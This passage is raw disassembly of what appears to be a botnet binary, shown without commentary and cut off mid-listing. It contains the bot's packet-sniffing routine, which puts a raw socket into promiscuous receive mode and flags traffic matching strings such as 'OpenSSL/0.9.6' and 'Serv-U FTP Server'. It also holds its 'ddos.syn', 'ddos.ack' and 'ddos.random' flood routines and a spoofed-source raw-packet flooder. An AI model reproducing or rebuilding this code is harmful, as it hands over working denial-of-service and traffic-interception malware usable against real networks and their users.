		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615


loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B


loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB648	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB6B8	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB6B4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CB660	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436190
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB5E0	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436160
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h


loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB64C	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		call	dword_4271E8	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_4	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		call	dword_4271E8	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_4	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905


loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h


loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h


loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1


loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43612C
		jmp	loc_4129E7
; ---------------------------------------------------------------------------


loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360F8
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360C4
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43608C


loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------


loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436054
		jmp	short loc_4129E7
sub_412660	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A53	proc near		; DATA XREF: sub_401ACD+6542o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_412E3F
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_4361BC
		push	eax
		call	sub_41B886
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_412AE6
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_409A72
		add	esp, 14h


loc_412AE6:				; CODE XREF: sub_412A53+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_4151AC
		push	[ebp+var_290]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_412A53	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: sub_412E3F+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5A4	; WSAStartup
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------


loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6D8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB614	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB634	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB634	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB634	; htons
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB634	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB630	; htonl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB634	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_427134	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_427130	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB634	; htons
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB634	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB630	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB634	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB698	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_427130	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------


loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4361E4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------


loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB6CC	; closesocket
		pop	esi


loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CB58C	; WSACleanup
		mov	eax, ebx


loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp


; =============== S U B	R O U T	I N E =======================================



sub_412E3F	proc near		; CODE XREF: sub_412A53+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AAF9
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41B779
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax


loc_412E8E:				; CODE XREF: sub_412E3F+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_412E3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E9D	proc near		; DATA XREF: sub_401ACD+6721o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4CB6B4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_412F38
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4362E4
		push	eax
		call	sub_41B886
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_412F1B
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409A72
		add	esp, 14h


loc_412F1B:				; CODE XREF: sub_412E9D+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4151AC
		push	[ebp+var_38]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread


loc_412F38:				; CODE XREF: sub_412E9D+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4CB614	; setsockopt


loc_412F4D:				; DATA XREF: .packed:off_43A844o
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412FAF
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4362B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_412F92
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409A72
		add	esp, 14h


loc_412F92:				; CODE XREF: sub_412E9D+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4151AC
		push	[ebp+var_38]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread


loc_412FAF:				; CODE XREF: sub_412E9D+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CB674	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413016
		lea	eax, [ebp+var_3BC]
		push	offset unk_436294
		push	eax
		call	sub_41B886
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_412FF9
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409A72
		add	esp, 14h


loc_412FF9:				; CODE XREF: sub_412E9D+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4151AC
		push	[ebp+var_38]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread


loc_413016:				; CODE XREF: sub_412E9D+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4CB634	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CB674	; inet_addr
		mov	esi, dword_4270A8
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_413054:				; CODE XREF: sub_412E9D+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4131FF
		push	41Ch
		mov	byte_4CE3A8, 45h
		call	dword_4CB634	; htons
		cmp	[ebp+var_2C], edi
		mov	word_4CE3AA, ax
		mov	word_4CE3AC, bx
		mov	word_4CE3AE, di
		mov	byte_4CE3B0, 80h
		mov	byte_4CE3B1, bl
		mov	word_4CE3B2, di
		jz	short loc_4130DA
		call	sub_41B8E2
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41B8E2
		add	ebx, eax
		shl	ebx, 8
		call	sub_41B8E2
		add	ebx, eax
		shl	ebx, 8
		call	sub_41B8E2
		add	ebx, eax
		push	1
		mov	dword_4CE3B4, ebx
		pop	ebx
		jmp	short loc_4130F2
; ---------------------------------------------------------------------------


loc_4130DA:				; CODE XREF: sub_412E9D+20Bj
		push	[ebp+var_1BC]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CB674	; inet_addr
		mov	dword_4CE3B4, eax


loc_4130F2:				; CODE XREF: sub_412E9D+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_4CE3B8, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CE3BC, dl
		call	sub_41B8E2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CE3BD, dl
		call	sub_41B8E2
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4CE3BE, di
		mov	word_4CE3C2, bx
		inc	edx
		mov	word_4CE3C0, dx
		call	sub_41B8E2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4CE3C4
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4CE3A8
		push	[ebp+var_4]
		call	dword_4CB698	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41318A
		inc	[ebp+arg_0]
		jmp	loc_413054
; ---------------------------------------------------------------------------


loc_41318A:				; CODE XREF: sub_412E9D+2E3j
		push	[ebp+var_4]
		call	dword_4CB6CC	; closesocket
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43624C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_4131E2
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409A72
		add	esp, 14h


loc_4131E2:				; CODE XREF: sub_412E9D+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4151AC
		push	[ebp+var_38]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread


loc_4131FF:				; CODE XREF: sub_412E9D+1C8j
